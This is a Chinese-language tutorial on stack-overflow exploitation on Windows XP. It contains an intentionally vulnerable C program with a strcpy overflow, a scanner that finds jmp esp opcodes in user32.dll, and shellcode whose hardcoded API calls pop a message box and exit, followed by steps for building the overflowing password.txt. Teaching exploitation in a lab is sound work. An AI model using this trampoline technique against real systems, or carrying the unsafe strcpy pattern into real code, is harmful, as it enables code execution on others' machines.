操作系統(tǒng):Windows XP SP3
開(kāi)發(fā)環(huán)境:VC++ 6.0
調(diào)試器:Ollydbg
棧溢出程序
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!n");
}
else
{
printf("Congratulation! You have passed the verification!n");
}
fclose(fp);
}
查找OPCODE代碼
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle)
{
printf(" load dll erro !");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
{
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;
printf("OPCODE found at 0x%xn",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%xn", address);
done_flag = true;
}
}
}
Shellcode提取代碼
#include <windows.h>
int main()
{
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sub sp,0x440
xor ebx,ebx
push ebx // cut string
push 0x00000072
push 0x69766B72
mov eax,esp //load address of rkvir
push ebx
push eax
push eax
push ebx
mov eax, 0x77D507EA//(0x77D507EA) address should be reset in different OS
call eax //call MessageboxA
push ebx
mov eax,0x7C81CAFA //(0x7C81CAFA) address should be reset in different OS
call eax //call exit(0)
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
}
本次實(shí)戰(zhàn)著重描述跳板技術(shù)的使用,之所以要引入跳板技術(shù),是因?yàn)樵趯?shí)際的漏洞中,缺陷函數(shù)有可能是動(dòng)態(tài)加載的DLL,所以緩沖區(qū)起始位置并不能固定,這意味著我們前幾節(jié)所使用的手工查找緩沖區(qū)位置的方法并不適用于大部分情況,因此我們需要一種新的技術(shù),可以有效控制指令可以執(zhí)行到我們需要的位置上。接下來(lái)會(huì)詳細(xì)描述跳板技術(shù)的應(yīng)用,使用的溢出代碼與前一節(jié)相同。
1. 一般情況下,在函數(shù)返回后,ESP都指向返回地址的下一行
2. 這就意味著,如果我們把shellcode放在返回地址后面,然后再使返回地址指向返回地址后面一行,就可以成功執(zhí)行我們的shellcode了,既然ESP指向這一行,那么我們只需要尋找一個(gè)jmp esp指令的地址放到返回地址的位置上就可以了。這個(gè)jmp esp指令最好位于這個(gè)溢出程序必然會(huì)加載的模塊中,例如我們現(xiàn)在使用的這個(gè)溢出程序加載了user32.dll,那么我們就可以在user32.dll中尋找一個(gè)jmp esp。尋找jmp esp有很多種方法,例如使用ollydbg的腳本或者windbg的腳本等等。這里我們使用一段代碼來(lái)搜索user32的編碼。就是實(shí)驗(yàn)代碼中提供的查找opcode代碼。修改圖中紅框的內(nèi)容為自己想要搜索的模塊就可以搜索其他模塊。
3. 我們隨便選擇一個(gè)地址,然后還需要通過(guò)上一節(jié)查找API入口地址的方法查找MessageBoxA和ExitProcess的地址。(此方法查找的API入口地址不具備通用性,動(dòng)態(tài)查找函數(shù)地址的方法會(huì)在后續(xù)詳細(xì)描述。)
4. 獲取到我們需要的所有地址后我們就可以開(kāi)始構(gòu)造shellcode了。我們現(xiàn)在暫時(shí)還不考慮如何使用高級(jí)語(yǔ)言或者匯編語(yǔ)言實(shí)現(xiàn)shellcode的編碼,直接使用實(shí)驗(yàn)代碼,將地址替換成本地地址后編譯成可執(zhí)行程序,如果可以成功彈框,并且點(diǎn)擊確定后成功推出程序,就說(shuō)明本地地址提取的沒(méi)有問(wèn)題。
5. 接下來(lái)使用Ollydbg打開(kāi)程序,找到這段代碼,提取出機(jī)器碼。
6. 接下來(lái)構(gòu)造password.txt,已知緩沖區(qū)長(zhǎng)度是44,那么返回地址前面就需要有長(zhǎng)度為52的字符串。這個(gè)字符串可以隨便填充,然后填充jmp esp的地址,注意小端序。最后把剛剛提取的shellcode粘貼進(jìn)去。
7. 接下來(lái)執(zhí)行溢出程序,成功彈出,點(diǎn)擊確定后執(zhí)行退出函數(shù)成功。